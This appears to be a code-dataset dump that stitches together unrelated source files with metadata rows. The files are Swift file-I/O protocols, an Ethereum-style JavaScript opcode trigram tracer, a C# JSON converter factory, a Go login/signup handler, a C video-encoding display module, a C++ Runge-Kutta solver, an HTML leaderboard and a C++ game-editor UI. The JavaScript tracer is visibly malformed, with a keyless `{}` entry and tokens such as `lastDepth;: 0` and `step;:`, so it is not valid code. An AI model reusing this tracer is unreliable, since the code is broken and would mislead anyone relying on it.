/// Creates `Self` from the contents of a Path.
///
/// - Parameter path: The path being read from.
///
static func readFromPath(path: Path) throws -> Self
}
extension Readable {
/// Initializes `self` from the contents of a Path.
///
/// - Parameter path: The path being read from.
///
public init(contentsOfPath path: Path) throws { // swiftlint:disable:this valid_docs
self = try Self.readFromPath(path)
}
}
/// A type that can be used to write to File instances.
public protocol Writable {
/// Writes `self` to a Path.
func writeToPath(path: Path) throws
/// Writes `self` to a Path.
///
/// - Parameter path: The path being written to.
/// - Parameter useAuxiliaryFile: If `true`, the data is written to an
/// auxiliary file that is then renamed to the
/// file. If `false`, the data is written to
/// the file directly.
///
func writeToPath(path: Path, atomically useAuxiliaryFile: Bool) throws
}
extension Writable {
/// Writes `self` to a Path atomically.
///
/// - Parameter path: The path being written to.
///
public func writeToPath(path: Path) throws { // swiftlint:disable:this valid_docs
try writeToPath(path, atomically: true)
}
}
/// A type that can be used to write to a String file path.
public protocol WritableToFile: Writable {
/// Writes `self` to a String path.
///
/// - Parameter path: The path being written to.
/// - Parameter useAuxiliaryFile: If `true`, the data is written to an
/// auxiliary file that is then renamed to the
/// file. If `false`, the data is written to
/// the file directly.
///
/// - Returns: `true` if the writing completed successfully, or `false` if
/// the writing failed.
///
func writeToFile(path: String, atomically useAuxiliaryFile: Bool) -> Bool
}
extension WritableToFile {
/// Writes `self` to a Path.
///
/// - Parameter path: The path being written to.
/// - Parameter useAuxiliaryFile: If `true`, the data is written to an
/// auxiliary file that is then renamed to the
/// file. If `false`, the data is written to
/// the file directly.
///
/// - Throws: `FileKitError.WriteToFileFail`
///
public func writeToPath(path: Path, atomically useAuxiliaryFile: Bool) throws {
guard writeToFile(path._safeRawValue, atomically: useAuxiliaryFile) else {
throw FileKitError.WriteToFileFail(path: path)
}
}
}
/// A type that can be converted to a Writable.
public protocol WritableConvertible: Writable {
/// The type that allows `Self` to be `Writable`.
associatedtype WritableType: Writable
/// Allows `self` to be written to a path.
var writable: WritableType { get }
}
extension WritableConvertible {
/// Writes `self` to a Path.
///
/// - Parameter path: The path being written to.
/// - Parameter useAuxiliaryFile: If `true`, the data is written to an
/// auxiliary file that is then renamed to the
/// file. If `false`, the data is written to
/// the file directly.
///
/// - Throws:
/// `FileKitError.WriteToFileFail`,
/// `FileKitError.WritableConvertiblePropertyNil`
///
public func writeToPath(path: Path, atomically useAuxiliaryFile: Bool) throws {
try writable.writeToPath(path, atomically: useAuxiliaryFile)
}
}
| 29.838235 | 88 | 0.587235 |
e756bf7f749bfc5061e82f37f3f7ff47d01281f3 | 982 | js | JavaScript | entropy/tracers/internal/tracers/trigram_tracer.js | entropyio/go-entropy | 819d307ee2125fa617528968f2e4ea32ba68bfad | [
"Apache-2.0"
] | null | null | null | entropy/tracers/internal/tracers/trigram_tracer.js | entropyio/go-entropy | 819d307ee2125fa617528968f2e4ea32ba68bfad | [
"Apache-2.0"
] | 1 | 2019-12-29T21:37:04.000Z | 2019-12-29T21:37:04.000Z | entropy/tracers/internal/tracers/trigram_tracer.js | entropyio/go-entropy | 819d307ee2125fa617528968f2e4ea32ba68bfad | [
"Apache-2.0"
] | null | null | null | {
// hist is the map of trigram counters
{},
// lastOp is last operation
['',''],
lastDepth;: 0,
// step is invoked for every opcode that the VM executes.
step;: function(log, db) {
var depth = log.getDepth();
if (depth != this.lastDepth){
this.lastOps = ['',''];
this.lastDepth = depth;
return;
}
var op = log.op.toString();
var key = this.lastOps[0]+'-'+this.lastOps[1]+'-'+op;
if (this.hist[key]){
this.hist[key]++;
}
else {
this.hist[key] = 1;
}
this.lastOps[0] = this.lastOps[1];
this.lastOps[1] = op;
},
// fault is invoked when the actual execution of an opcode fails.
fault: function(log, db) {},
// result is invoked when all the opcodes have been iterated over and returns
// the final result of the tracing.
result: function(ctx) {
return this.hist;
},
}
| 28.882353 | 81 | 0.520367 |
5bf27da924a6865955d4cdf9d7c79fbe954eec04 | 1,339 | cs | C# | src/Elastic.Clients.Elasticsearch/Serialization/ProxyRequestConverterFactory.cs | SimonCropp/elasticsearch-net | 51526833d58be4d30290b5d5c6b56d2afcdb218d | [
"Apache-2.0"
] | null | null | null | src/Elastic.Clients.Elasticsearch/Serialization/ProxyRequestConverterFactory.cs | SimonCropp/elasticsearch-net | 51526833d58be4d30290b5d5c6b56d2afcdb218d | [
"Apache-2.0"
] | null | null | null | src/Elastic.Clients.Elasticsearch/Serialization/ProxyRequestConverterFactory.cs | SimonCropp/elasticsearch-net | 51526833d58be4d30290b5d5c6b56d2afcdb218d | [
"Apache-2.0"
] | null | null | null | // Licensed to Elasticsearch B.V under one or more agreements.
// Elasticsearch B.V licenses this file to you under the Apache 2.0 License.
// See the LICENSE file in the project root for more information.
using System;
using System.Reflection;
using System.Text.Json;
using System.Text.Json.Serialization;
namespace Elastic.Clients.Elasticsearch;
internal sealed class CustomJsonWriterConverterFactory : JsonConverterFactory
{
private readonly IElasticsearchClientSettings _settings;
public CustomJsonWriterConverterFactory(IElasticsearchClientSettings settings) => _settings = settings;
public override bool CanConvert(Type typeToConvert)
{
if (!typeToConvert.IsGenericType)
return false;
var interfaces = typeToConvert.GetInterfaces();
var canConvert = false;
foreach (var item in interfaces)
{
var type = item.UnderlyingSystemType;
if (type == typeof(ICustomJsonWriter))
canConvert = true;
}
return canConvert;
}
public override JsonConverter? CreateConverter(Type typeToConvert, JsonSerializerOptions options)
{
var converter = (JsonConverter)Activator.CreateInstance(
typeof(CustomJsonWriterConverter<>).MakeGenericType(typeToConvert),
BindingFlags.Instance | BindingFlags.Public,
args: new object[] { _settings },
binder: null,
culture: null)!;
return converter;
}
}
| 27.326531 | 104 | 0.775952 |
bad629b60e4d702415314173a145b0d35662e470 | 2,427 | go | Go | controller/app_user.go | TYohoJr/finance-tracker | 1d6e57b88d2302348210fe19dd58f8320a596b19 | [
"MIT"
] | null | null | null | controller/app_user.go | TYohoJr/finance-tracker | 1d6e57b88d2302348210fe19dd58f8320a596b19 | [
"MIT"
] | null | null | null | controller/app_user.go | TYohoJr/finance-tracker | 1d6e57b88d2302348210fe19dd58f8320a596b19 | [
"MIT"
] | null | null | null | package controller
import (
"encoding/json"
"errors"
"finance-tracker/auth"
"finance-tracker/model"
"net/http"
)
func (s *Server) AppUserHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "POST":
aui := model.AppUser{}
err := json.NewDecoder(r.Body).Decode(&aui)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
err = s.validateNewAppUser(&aui)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
existingAppUser, err := s.DB.GetAppUserByEmail(*aui.Email)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if existingAppUser != nil {
http.Error(w, "user already exists with that email", http.StatusBadRequest)
return
}
_, err = s.DB.CreateAppUser(&aui)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
w.WriteHeader(201)
return
}
}
func (s *Server) LoginHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "POST":
appUser := &model.AppUser{}
err := json.NewDecoder(r.Body).Decode(&appUser)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
u, err := s.DB.GetAppUserByEmail(*appUser.Email)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if u == nil {
http.Error(w, "invalid email/password", http.StatusInternalServerError)
return
}
err = u.VerifyPassword(*appUser.Password)
if err != nil {
http.Error(w, "invalid email/password", http.StatusInternalServerError)
return
}
token, err := auth.CreateToken(*u.ID, *u.Email, *u.FirstName)
if err != nil {
http.Error(w, err.Error(), http.StatusUnprocessableEntity)
return
}
err = json.NewEncoder(w).Encode(map[string]string{
"token": token,
})
if err != nil {
http.Error(w, err.Error(), http.StatusUnprocessableEntity)
return
}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(200)
return
}
}
func (s *Server) validateNewAppUser(u *model.AppUser) error {
if u.Email == nil {
return errors.New("email cannot be empty")
}
if u.FirstName == nil {
return errors.New("first name cannot be empty")
}
if u.Password == nil {
return errors.New("password cannot be empty")
}
if *u.Password == "" {
return errors.New("password cannot be empty")
}
return nil
}
| 24.27 | 78 | 0.670375 |
fb0cb9aa338f8d239852ac0964be4d6e1901235d | 3,495 | c | C | src/guacenc/display.c | issuj/guacamole-server | 803b453e8302e487e5742c77824b613bac6a4d94 | [
"Apache-2.0"
] | 3 | 2016-04-09T20:05:57.000Z | 2021-06-27T04:51:35.000Z | src/guacenc/display.c | issuj/guacamole-server | 803b453e8302e487e5742c77824b613bac6a4d94 | [
"Apache-2.0"
] | null | null | null | src/guacenc/display.c | issuj/guacamole-server | 803b453e8302e487e5742c77824b613bac6a4d94 | [
"Apache-2.0"
] | 3 | 2016-05-20T16:03:28.000Z | 2017-08-17T06:17:51.000Z | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
#include "config.h"
#include "display.h"
#include "video.h"
#include <cairo/cairo.h>
#include <stdlib.h>
cairo_operator_t guacenc_display_cairo_operator(guac_composite_mode mask) {
/* Translate Guacamole channel mask into Cairo operator */
switch (mask) {
/* Source */
case GUAC_COMP_SRC:
return CAIRO_OPERATOR_SOURCE;
/* Over */
case GUAC_COMP_OVER:
return CAIRO_OPERATOR_OVER;
/* In */
case GUAC_COMP_IN:
return CAIRO_OPERATOR_IN;
/* Out */
case GUAC_COMP_OUT:
return CAIRO_OPERATOR_OUT;
/* Atop */
case GUAC_COMP_ATOP:
return CAIRO_OPERATOR_ATOP;
/* Over (source/destination reversed) */
case GUAC_COMP_ROVER:
return CAIRO_OPERATOR_DEST_OVER;
/* In (source/destination reversed) */
case GUAC_COMP_RIN:
return CAIRO_OPERATOR_DEST_IN;
/* Out (source/destination reversed) */
case GUAC_COMP_ROUT:
return CAIRO_OPERATOR_DEST_OUT;
/* Atop (source/destination reversed) */
case GUAC_COMP_RATOP:
return CAIRO_OPERATOR_DEST_ATOP;
/* XOR */
case GUAC_COMP_XOR:
return CAIRO_OPERATOR_XOR;
/* Additive */
case GUAC_COMP_PLUS:
return CAIRO_OPERATOR_ADD;
/* If unrecognized, just default to CAIRO_OPERATOR_OVER */
default:
return CAIRO_OPERATOR_OVER;
}
}
guacenc_display* guacenc_display_alloc(const char* path, const char* codec,
int width, int height, int bitrate) {
/* Prepare video encoding */
guacenc_video* video = guacenc_video_alloc(path, codec, width, height, bitrate);
if (video == NULL)
return NULL;
/* Allocate display */
guacenc_display* display =
(guacenc_display*) calloc(1, sizeof(guacenc_display));
/* Associate display with video output */
display->output = video;
return display;
}
int guacenc_display_free(guacenc_display* display) {
int i;
/* Ignore NULL display */
if (display == NULL)
return 0;
/* Finalize video */
int retval = guacenc_video_free(display->output);
/* Free all buffers */
for (i = 0; i < GUACENC_DISPLAY_MAX_BUFFERS; i++)
guacenc_buffer_free(display->buffers[i]);
/* Free all layers */
for (i = 0; i < GUACENC_DISPLAY_MAX_LAYERS; i++)
guacenc_layer_free(display->layers[i]);
/* Free all streams */
for (i = 0; i < GUACENC_DISPLAY_MAX_STREAMS; i++)
guacenc_image_stream_free(display->image_streams[i]);
free(display);
return retval;
}
| 26.477273 | 84 | 0.647496 |
9c7d0d23230af1f2593321c54635c7db04d8541b | 4,055 | hpp | C++ | RK4.hpp | emathew1/3DCompactSolver | 41a355501190a2493d7ffa3fa36854265bfc4485 | [
"MIT"
] | 4 | 2019-01-02T07:53:32.000Z | 2021-07-31T07:26:41.000Z | RK4.hpp | emathew1/3DCompactSolver | 41a355501190a2493d7ffa3fa36854265bfc4485 | [
"MIT"
] | null | null | null | RK4.hpp | emathew1/3DCompactSolver | 41a355501190a2493d7ffa3fa36854265bfc4485 | [
"MIT"
] | 1 | 2018-11-17T21:08:52.000Z | 2018-11-17T21:08:52.000Z | #ifndef _CRK4H_
#define _CRK4H_
#include "Utils.hpp"
#include "AbstractRK.hpp"
class RK4:public AbstractRK{
public:
double a1, a2, a3, a4;
double b1, b2, b3;
RK4(AbstractCSolver *cs){
this->cs = cs;
a1 = 1.0/6.0;
a2 = 1.0/3.0;
a3 = 1.0/3.0;
a4 = 1.0/6.0;
b1 = 1.0/2.0;
b2 = 1.0/2.0;
b3 = 1.0;
}
void executeSolverLoop();
void updateConservedData();
};
void RK4::updateConservedData(){
if(cs->useTiming) tic();
int Nx, Ny, Nz;
Nx = cs->dom->Nx;
Ny = cs->dom->Ny;
Nz = cs->dom->Nz;
if(cs->rkStep == 1){
#pragma omp parallel for
FOR_XYZ{
//Add to final solution
cs->rho2[ip] = cs->rho1[ip] + a1*cs->rhok2[ip];
cs->rhoU2[ip] = cs->rhoU1[ip] + a1*cs->rhoUk2[ip];
cs->rhoV2[ip] = cs->rhoV1[ip] + a1*cs->rhoVk2[ip];
cs->rhoW2[ip] = cs->rhoW1[ip] + a1*cs->rhoWk2[ip];
cs->rhoE2[ip] = cs->rhoE1[ip] + a1*cs->rhoEk2[ip];
//Calculate intermediate solution
cs->rhok[ip] = cs->rho1[ip] + b1*cs->rhok2[ip];
cs->rhoUk[ip] = cs->rhoU1[ip] + b1*cs->rhoUk2[ip];
cs->rhoVk[ip] = cs->rhoV1[ip] + b1*cs->rhoVk2[ip];
cs->rhoWk[ip] = cs->rhoW1[ip] + b1*cs->rhoWk2[ip];
cs->rhoEk[ip] = cs->rhoE1[ip] + b1*cs->rhoEk2[ip];
}
}else if(cs->rkStep == 2){
#pragma omp parallel for
FOR_XYZ{
//Add to final solution
cs->rho2[ip] += a2*cs->rhok2[ip];
cs->rhoU2[ip] += a2*cs->rhoUk2[ip];
cs->rhoV2[ip] += a2*cs->rhoVk2[ip];
cs->rhoW2[ip] += a2*cs->rhoWk2[ip];
cs->rhoE2[ip] += a2*cs->rhoEk2[ip];
//Calculate intermediate solution
cs->rhok[ip] = cs->rho1[ip] + b2*cs->rhok2[ip];
cs->rhoUk[ip] = cs->rhoU1[ip] + b2*cs->rhoUk2[ip];
cs->rhoVk[ip] = cs->rhoV1[ip] + b2*cs->rhoVk2[ip];
cs->rhoWk[ip] = cs->rhoW1[ip] + b2*cs->rhoWk2[ip];
cs->rhoEk[ip] = cs->rhoE1[ip] + b2*cs->rhoEk2[ip];
}
}else if(cs->rkStep == 3){
#pragma omp parallel for
FOR_XYZ{
//Add to final solution
cs->rho2[ip] += a3*cs->rhok2[ip];
cs->rhoU2[ip] += a3*cs->rhoUk2[ip];
cs->rhoV2[ip] += a3*cs->rhoVk2[ip];
cs->rhoW2[ip] += a3*cs->rhoWk2[ip];
cs->rhoE2[ip] += a3*cs->rhoEk2[ip];
//Calculate intermediate solution
cs->rhok[ip] = cs->rho1[ip] + b3*cs->rhok2[ip];
cs->rhoUk[ip] = cs->rhoU1[ip] + b3*cs->rhoUk2[ip];
cs->rhoVk[ip] = cs->rhoV1[ip] + b3*cs->rhoVk2[ip];
cs->rhoWk[ip] = cs->rhoW1[ip] + b3*cs->rhoWk2[ip];
cs->rhoEk[ip] = cs->rhoE1[ip] + b3*cs->rhoEk2[ip];
}
}else if(cs->rkStep == 4){
#pragma omp parallel for
FOR_XYZ{
//Add to final solution
cs->rho2[ip] += a4*cs->rhok2[ip];
cs->rhoU2[ip] += a4*cs->rhoUk2[ip];
cs->rhoV2[ip] += a4*cs->rhoVk2[ip];
cs->rhoW2[ip] += a4*cs->rhoWk2[ip];
cs->rhoE2[ip] += a4*cs->rhoEk2[ip];
}
}
if(cs->useTiming){
cout << " > updateCons Timing: ";
toc();
}
}
void RK4::executeSolverLoop(){
cs->setInitialConditions();
while(cs->endFlag == false){
cs->rkLast = false;
cs->preStep();
//Step 1
cs->rkStep = 1;
cs->preSubStep();
cs->solveEqnSet();
cs->postSubStep();
updateConservedData();
cs->updateData();
//Step 2
cs->rkStep = 2;
cs->preSubStep();
cs->solveEqnSet();
cs->postSubStep();
updateConservedData();
cs->updateData();
//Step 3
cs->rkStep = 3;
cs->preSubStep();
cs->solveEqnSet();
cs->postSubStep();
updateConservedData();
cs->updateData();
//Step 4
cs->rkStep = 4;
cs->rkLast = true;
cs->preSubStep();
cs->solveEqnSet();
cs->postSubStep();
updateConservedData();
cs->updateData();
cs->postStep();
}
}
#endif
| 23.439306 | 62 | 0.495438 |
5a7eb0a255a22a0533cd70875855cc497c5ef8d6 | 2,773 | html | HTML | docs/IX/2015/local_score.html | bewuethr/aoc-stats | de750e64c3616b8d01d7140831e3cc69503316a5 | [
"MIT"
] | null | null | null | docs/IX/2015/local_score.html | bewuethr/aoc-stats | de750e64c3616b8d01d7140831e3cc69503316a5 | [
"MIT"
] | 21 | 2018-11-25T21:56:40.000Z | 2022-03-07T04:26:32.000Z | docs/IX/2015/local_score.html | bewuethr/aoc-stats | de750e64c3616b8d01d7140831e3cc69503316a5 | [
"MIT"
] | null | null | null | <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="/aoc-stats/style.css">
<link rel="shortcut icon" href="/aoc-stats/favicon.png" type="image/x-icon">
<title>IX 2015 local score</title>
</head>
<body>
<h1>IX 2015 local score</h1>
<p>For each star, winner gets one point per participant, runner-up one less etc.</p>
<div>
<table>
<tr>
<th>Rank</th>
<th>Name</th>
<th>Points</th>
<th>Global</th>
<th>Stars</th>
</tr>
<tr>
<td>1</td>
<td>Benjamin Wuethrich</td>
<td>2530</td>
<td>0</td>
<td>50</td>
</tr>
<tr>
<td>2</td>
<td>Michael Tardibuono</td>
<td>2409</td>
<td>0</td>
<td>50</td>
</tr>
<tr>
<td>3</td>
<td>marie</td>
<td>2293</td>
<td>0</td>
<td>50</td>
</tr>
<tr>
<td>4</td>
<td>James Bannerman</td>
<td>1847</td>
<td>0</td>
<td>38</td>
</tr>
<tr>
<td>5</td>
<td>Pat Smuk</td>
<td>1370</td>
<td>0</td>
<td>27</td>
</tr>
<tr>
<td>6</td>
<td>mozesmagyar</td>
<td>1274</td>
<td>0</td>
<td>26</td>
</tr>
<tr>
<td>7</td>
<td>Chuck Walker</td>
<td>598</td>
<td>0</td>
<td>13</td>
</tr>
<tr>
<td>8</td>
<td>dubyte</td>
<td>536</td>
<td>0</td>
<td>12</td>
</tr>
<tr>
<td>9</td>
<td>Stefan Tihanyi</td>
<td>524</td>
<td>0</td>
<td>12</td>
</tr>
<tr>
<td>10</td>
<td>Mark Armstrong</td>
<td>512</td>
<td>0</td>
<td>12</td>
</tr>
<tr>
<td>11</td>
<td>Daniel Shanker</td>
<td>408</td>
<td>0</td>
<td>9</td>
</tr>
<tr>
<td>12</td>
<td>Michel ElNacouzi</td>
<td>96</td>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td>13</td>
<td>pingpongkingkong</td>
<td>92</td>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td>14</td>
<td>Ricky Kwan</td>
<td>90</td>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td>15</td>
<td>Adam Harvie</td>
<td>88</td>
<td>0</td>
<td>2</td>
</tr>
</table>
</div>
<p><a href="index.html">Return to index</a></p>
<p class="tstamp">Last updated Sat Dec 25 13:00:10 EST 2021</p>
<script data-goatcounter="https://aoc-stats.goatcounter.com/count" async src="//gc.zgo.at/count.js"></script>
</body>
</html>
| 20.849624 | 111 | 0.402813 |
e9112ed298d403cc06fb99f0f764416a5d0caf46 | 23,143 | cpp | C++ | Sources/Samples/Stealth/GameUI.cpp | jdelezenne/Sonata | fb1b1b64a78874a0ab2809995be4b6f14f9e4d56 | [
"MIT"
] | null | null | null | Sources/Samples/Stealth/GameUI.cpp | jdelezenne/Sonata | fb1b1b64a78874a0ab2809995be4b6f14f9e4d56 | [
"MIT"
] | null | null | null | Sources/Samples/Stealth/GameUI.cpp | jdelezenne/Sonata | fb1b1b64a78874a0ab2809995be4b6f14f9e4d56 | [
"MIT"
] | null | null | null | /*=============================================================================
GameUI.cpp
Project: Sonata Engine
Copyright �by7
Julien Delezenne
=============================================================================*/
#include "GameUI.h"
#include "SampleStealth.h"
#include "LevelDialog.h"
#include "SettingsDialog.h"
GameUI::GameUI()
{
_Screen = NULL;
_ListBoxEntities = NULL;
_PropertyGrid = NULL;
_PropertyGridBinder = new UI::PropertyGridBinder();
}
GameUI::~GameUI()
{
SE_DELETE(_PropertyGridBinder);
}
void GameUI::Create()
{
CreateUI();
RefreshLevels();
}
void GameUI::Destroy()
{
}
UI::Widget* GameUI::GetChildByName(const String& name) const
{
if (_Screen == NULL)
return NULL;
return _Screen->GetChildByName(name);
}
void GameUI::Initialize(Map* map)
{
_ListBoxEntities->Items().Clear();
_PropertyGridBinder->SetSelectedObject(NULL);
int count = map->_Actors.Count();
for (int i=0; i<count; i++)
{
AddEntity(map->_Actors[i]);
}
}
void GameUI::SetEditor(bool value)
{
UI::Panel* tabPanelEditor = (UI::Panel*)GetChildByName("tabPanelEditor");
tabPanelEditor->SetVisible(value);
UI::Panel* toolBarLevel = (UI::Panel*)GetChildByName("toolBarLevel");
toolBarLevel->SetVisible(value);
UI::PushButton* buttonGameMode = (UI::PushButton*)GetChildByName("buttonGameMode");
if (buttonGameMode != NULL)
{
buttonGameMode->SetText(value ? "Game" : "Editor");
}
}
void GameUI::RefreshLevels()
{
_ComboBoxLevels->Items().Clear();
String fileName = FileSystem::Instance()->GetFullPath("AI\\MGS\\levels\\Level1.xml");
Directory dir(Path::Combine(Path::GetDirectoryName(fileName), "*.xml"));
Array<String> files = dir.GetFiles();
int count = files.Count();
for (int i=0; i<count; i++)
{
_ComboBoxLevels->Items().Add(new UI::ListItem(files[i]));
}
}
void GameUI::AddEntity(GameEntity* entity)
{
UI::ListItem* item = new UI::ListItem(entity->_name);
item->SetUserData(entity);
_ListBoxEntities->Items().Add(item);
}
void GameUI::RemoveEntity(GameEntity* entity)
{
UI::ListItemList::Iterator it = _ListBoxEntities->Items().GetIterator();
while (it.Next())
{
UI::ListItem* item = it.Current();
if (entity == (GameEntity*)item->GetUserData().ToObject())
{
_ListBoxEntities->Items().Remove(item);
break;
}
}
}
void GameUI::SetSelectedObject(Object* obj)
{
_PropertyGridBinder->SetSelectedObject(obj);
_PropertyDialog->Children().Clear();
String typeName = obj->GetType()->GetName() + "Dialog";
if (TypeFactory::Instance()->GetType(typeName) != NULL)
{
UI::Panel* panel = (UI::Panel*)TypeFactory::Instance()->CreateInstance(typeName);
_PropertyDialog->Children().Add(panel);
}
}
Tile* GameUI::GetSelectedTile() const
{
UI::ListItem* item = _ListBoxTiles->GetSelectedItem();
if (item == NULL)
return NULL;
else
return (Tile*)item->GetUserData().ToObject();
}
ActorDef* GameUI::GetSelectedActorDef() const
{
UI::ListItem* item = _ListBoxActors->GetSelectedItem();
if (item == NULL)
return NULL;
else
return (ActorDef*)item->GetUserData().ToObject();
}
void GameUI::CreateUI()
{
Tileset* tileset = GameCore::Instance()->GetWorld()->GetTileset();
int tileCount = tileset->_Tiles.Count();
int actorCount = tileset->_ActorDefs.Count();
#if 1
Color32 BackColor = Color32(224.0f/255.0f, 223.0f/255.0f, 227.0f/255.0f, 0.6f);
Color32 InfoBackColor = Color32(0.6f, 0.6f, 0.6f, 0.6f);
_Screen = new UI::Panel();
_Screen->SetHasFrame(false);
_Screen->SetHasBackground(false);
_Screen->SetSize(SizeInt(GameCore::Instance()->GetMainWindow()->GetClientWidth(),
GameCore::Instance()->GetMainWindow()->GetClientHeight()));
UI::Panel* panelInfo = new UI::Panel();
panelInfo->SetPosition(PointInt(0, 0));
panelInfo->SetSize(SizeInt(40, 20));
panelInfo->SetBackgroundColor(InfoBackColor);
panelInfo->SetHasFrame(false);
UI::Label* labelFPS = new UI::Label();
labelFPS->SetName("labelFPS");
labelFPS->SetPosition(PointInt(0, 0));
labelFPS->SetSize(SizeInt(40, 20));
labelFPS->SetForegroundColor(Color32::Red);
labelFPS->SetHasBackground(false);
labelFPS->SetTextAlignment(UI::Alignment_TopLeft);
panelInfo->Children().Add(labelFPS);
UI::Panel* toolBar = new UI::Panel();
toolBar->SetMovable(true);
toolBar->SetPosition(PointInt(370, 10));
toolBar->SetSize(SizeInt(410, 40));
toolBar->SetHasFrame(false);
toolBar->SetHasBackground(true);
toolBar->SetBackgroundColor(BackColor);
UI::PushButton* buttonGameMode = new UI::PushButton();
buttonGameMode->SetName("buttonGameMode");
buttonGameMode->SetPosition(PointInt(10, 10));
buttonGameMode->SetSize(SizeInt(70, 20));
buttonGameMode->SetText(_T("GameMode"));
buttonGameMode->SetForegroundColor(Color32::Blue);
buttonGameMode->SetBackgroundColor(Color32::Gray);
toolBar->Children().Add(buttonGameMode);
UI::PushButton* buttonPause = new UI::PushButton();
buttonPause->SetName("buttonPause");
buttonPause->SetPosition(PointInt(90, 10));
buttonPause->SetSize(SizeInt(70, 20));
buttonPause->SetText(_T("Pause"));
buttonPause->SetForegroundColor(Color32::Blue);
buttonPause->SetBackgroundColor(Color32::Gray);
toolBar->Children().Add(buttonPause);
UI::PushButton* buttonSettings = new UI::PushButton();
buttonSettings->SetName("buttonSettings");
buttonSettings->SetPosition(PointInt(170, 10));
buttonSettings->SetSize(SizeInt(70, 20));
buttonSettings->SetText(_T("Settings..."));
buttonSettings->SetForegroundColor(Color32::Blue);
buttonSettings->SetBackgroundColor(Color32::Gray);
toolBar->Children().Add(buttonSettings);
UI::PushButton* buttonEntities = new UI::PushButton();
buttonEntities->SetName("buttonEntities");
buttonEntities->SetPosition(PointInt(250, 10));
buttonEntities->SetSize(SizeInt(70, 20));
buttonEntities->SetText(_T("Entities"));
buttonEntities->SetForegroundColor(Color32::Blue);
buttonEntities->SetBackgroundColor(Color32::Gray);
toolBar->Children().Add(buttonEntities);
UI::PushButton* buttonProperties = new UI::PushButton();
buttonProperties->SetName("buttonProperties");
buttonProperties->SetPosition(PointInt(330, 10));
buttonProperties->SetSize(SizeInt(70, 20));
buttonProperties->SetText(_T("Properties"));
buttonProperties->SetForegroundColor(Color32::Blue);
buttonProperties->SetBackgroundColor(Color32::Gray);
toolBar->Children().Add(buttonProperties);
UI::PushButton* buttonExit = new UI::PushButton();
buttonExit->SetName("buttonExit");
buttonExit->SetPosition(PointInt(410, 10));
buttonExit->SetSize(SizeInt(70, 20));
buttonExit->SetText(_T("Exit"));
buttonExit->SetForegroundColor(Color32::Blue);
buttonExit->SetBackgroundColor(Color32::Gray);
toolBar->Children().Add(buttonExit);
UI::Panel* windowEntities = new UI::Panel();
windowEntities->SetName(_T("windowEntities"));
windowEntities->SetMovable(true);
windowEntities->SetPosition(PointInt(640, 60));
windowEntities->SetSize(SizeInt(140, 180));
windowEntities->SetHasBackground(true);
windowEntities->SetBackgroundColor(BackColor);
UI::Label* labelEntities = new UI::Label();
labelEntities->SetPosition(PointInt(10, 5));
labelEntities->SetSize(SizeInt(80, 20));
labelEntities->SetText(_T("Entities:"));
labelEntities->SetForegroundColor(Color32::Blue);
labelEntities->SetHasBackground(false);
labelEntities->SetTextAlignment(UI::Alignment_MiddleCenter);
UI::ListBox* listBoxEntities = new UI::ListBox();
listBoxEntities->SetName(_T("listBoxEntities"));
listBoxEntities->SetHasFrame(true);
listBoxEntities->SetFrameSize(1);
listBoxEntities->SetFrameColor(Color32::Blue);
listBoxEntities->SetPosition(PointInt(10, 20));
listBoxEntities->SetSize(SizeInt(120, 150));
listBoxEntities->SetBackgroundColor(Color32::White);
windowEntities->Children().Add(labelEntities);
windowEntities->Children().Add(listBoxEntities);
UI::Panel* tabPanelEditor = new UI::Panel();
tabPanelEditor->SetName("tabPanelEditor");
tabPanelEditor->SetMovable(true);
tabPanelEditor->SetPosition(PointInt(10, 120));
tabPanelEditor->SetSize(SizeInt(160, 210));
tabPanelEditor->SetHasBackground(true);
tabPanelEditor->SetBackgroundColor(BackColor);
UI::RadioButton* buttonTiles = new UI::RadioButton();
buttonTiles->SetName("buttonTiles");
buttonTiles->SetPosition(PointInt(5, 5));
buttonTiles->SetSize(SizeInt(45, 20));
buttonTiles->SetHasBackground(false);
buttonTiles->SetText("Tiles");
buttonTiles->SetChecked(true);
tabPanelEditor->Children().Add(buttonTiles);
UI::RadioButton* buttonActors = new UI::RadioButton();
buttonActors->SetName("buttonActors");
buttonActors->SetPosition(PointInt(55, 5));
buttonActors->SetHasBackground(false);
buttonActors->SetText("Actors");
buttonActors->SetSize(SizeInt(45, 20));
tabPanelEditor->Children().Add(buttonActors);
UI::Panel* windowTiles = new UI::Panel();
windowTiles->SetName("windowTiles");
windowTiles->SetPosition(PointInt(5, 20));
windowTiles->SetSize(SizeInt(160, 210));
windowTiles->SetHasBackground(false);
UI::Label* labelTiles = new UI::Label();
labelTiles->SetPosition(PointInt(10, 10));
labelTiles->SetSize(SizeInt(100, 30));
labelTiles->SetText(_T("Tiles:"));
labelTiles->SetForegroundColor(Color32::Red);
labelTiles->SetHasBackground(false);
windowTiles->Children().Add(labelTiles);
UI::ListBox* listBoxTiles = new UI::ListBox();
listBoxTiles->SetName("listBoxTiles");
listBoxTiles->SetPosition(PointInt(10, 20));
listBoxTiles->SetSize(SizeInt(100, 120));
for (int i=0; i<tileCount; i++)
{
Tile* tile = tileset->_Tiles[i];
String tileName = EnumObject::GetName(typeof(TileType), tile->_TileType);
UI::ListItem* item = new UI::ListItem(tileName);
item->SetUserData(tile);
listBoxTiles->Items().Add(item);
}
windowTiles->Children().Add(listBoxTiles);
